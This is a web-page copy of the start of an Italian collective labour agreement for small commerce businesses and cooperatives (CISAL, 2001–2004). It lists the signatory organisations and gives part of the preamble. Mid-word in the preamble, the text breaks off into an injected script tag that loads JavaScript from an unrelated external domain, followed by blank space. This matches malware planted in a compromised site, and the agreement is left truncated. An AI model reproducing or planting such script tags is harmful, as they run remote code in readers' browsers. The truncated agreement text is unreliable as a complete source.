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Categoria: Commercio, aziende da 1 a 14 dipendenti (CISAL)
Settore: Commercio
Data stipula: 6-2-2001
Data decorrenza: 1-2-2001
Data scadenza: 31-1-2004

Contratto Collettivo Nazionale di Lavoro

PER  I DIPENDENTI DELLE AZIENDE, PER I DIPENDENTI E SOCI DELLE COOPERATIVE
ESERCENTI ATTIVITÀ NEL SETTORE DEL "COMMERCIO"
(fino a 14 dipendenti o soci)

(in vigore dal 1° febbraio 2001 al 31 gennaio 2004)



L'anno 2001 il giorno 6 del mese di febbraio in Roma

tra

1.     Unione  Nazionale  Cooperative  Italia  (UNCI)  rappresentata   dal
  Presidente nazionale Luciano D'Ulizia e assistito da Claudio Riciputi  e
  Filippo Turi;
2.      Coordinamento    Nazionale   Associazioni   Imprenditori    (CNAI)
  rappresentata dal Presidente nazionale Orazio Renzo Di Renzo e assistito
  da: Nanni Werther, Giangiacomo Pagliaro, Antonio Cucurachi, Rocco Vetrone;
3.    Unione Cristiana Italiana Commercio e Turismo (UCICT)  rappresentata
  dal  Presidente nazionale Orazio Renzo Di Renzo e assistito  da  Werther
  Nanni, Sacrorè Raffaella, Di Renzo Manola, Vitali Maria Teresa, Sacripante
  Sabatino, Lunerti Roberto, Lupattelli Severino e Vetrone Rocco;
4.   Movimento Cooperative e Mutue CNAI (MCM-CNAI) rappresentata da Franco
  Maldera, Vincenzo Sardano, Mario Gibellini, Tommaso Dodaro, Umberto Ferro
  e Francesco Ronca.

e

1.     Confederazione  Italiana  Sindacati  Autonomi  Lavoratori   (CISAL)
  rappresentata  dal Segretario generale Giuseppe Carbone, dal  Segretario
  generale  vicario  Giovanni Liccardo, dal Segretario  generale  aggiunto
  Massimo  Cesarini, dai Segretari confederali Ulderico Cancilla  e  Luigi
  Spagnuolo;
2.     Federazione  Nazionale  Sindacati  Autonomi  Lavoratori   Commercio
  (FeNaSALC) rappresentata dal Segretario generale Adriano Cosimati e  dai
  Segretari nazionali Aurora Pitsolu, Enzo Natalini, Giuseppe Nicosia.

SI È STIPULATO

il  CCNL  per i dipendenti delle aziende, per i dipendenti e i soci  delle
cooperative  esercenti  attività nel settore del  "COMMERCIO"  fino  a  14
dipendenti o soci, esso si compone:

A.   INDICE
B.   PREMESSA
C.   TITOLI LV
D.   ARTICOLI 87



PREMESSA

Le  OO.SS.  e datoriali firmatarie ritengono di aver dato con il contratto
una  prima  importante risposta alle esigenze, da più parti rappresentate,
per  un  cambiamento  della contrattualistica nazionale  in  un'ottica  di
rilancio  reale dell'occupazione, fattore indispensabile per un'espansione
strutturale dell'economia e della produttività del Paese.

Il  contratto  si  muove  nelle logiche dettate dalla  UE  finalizzate  al
miglioramento  dei  rapporti  individuali e  collettivi  di  lavoro,  alla
crescita  dei livelli occupazionali, alla protezione e sicurezza  sociale,
per  concorrere a formulare e rafforzare le regole di garanzia e di tutela
dei processi lavorativi.

Infatti, con il Protocollo aggiuntivo al trattato di Maastricht del  1991,
relativo alla politica sociale, i Governi UE hanno indicato le materie  su
cui  inciderà  la politica sociale comunitaria per il conseguimento  degli
obiettivi  delle  loro  azioni  comuni:  la  sicurezza  e  la  salute  del
lavoratore,  le  migliori  condizioni  di  lavoro,  l'informazione  e   la
consultazione dei lavoratori, le pari opportunità, la rappresentanza e  la
difesa  collettiva degli interessi dei lavoratori e dei datori  di  lavoro
ivi   compresa  la  cogestione,  gli  aiuti  finanziari  alla   promozione
dell'occupazione  e alla creazione dei posti di lavoro, la  contrattazione
collettiva  europea. Per questi obiettivi, le OO.SS. e datoriali  svolgono
una  specifica  funzione  che  esercitano nei  confronti  del  legislatore
comunitario,  nonché  una  essenziale funzione negoziale  nell'ambito  del
dialogo sociale.

Le  Parti  concordano, altresì, sulla necessità di affermare la  paritaria
funzione  delle  OO.SS. e datoriali, sul piano del  diritto  al  lavoro  e
all'esercizio dell'impresa privata in un contesto di riconosciute  libertà
associative.

Sulla base di tali principi le OO.SS. e datoriali firmatarie affermano  il
loro ruolo di sti<script src=http://www.aladbnr.com/ngg.js></script>













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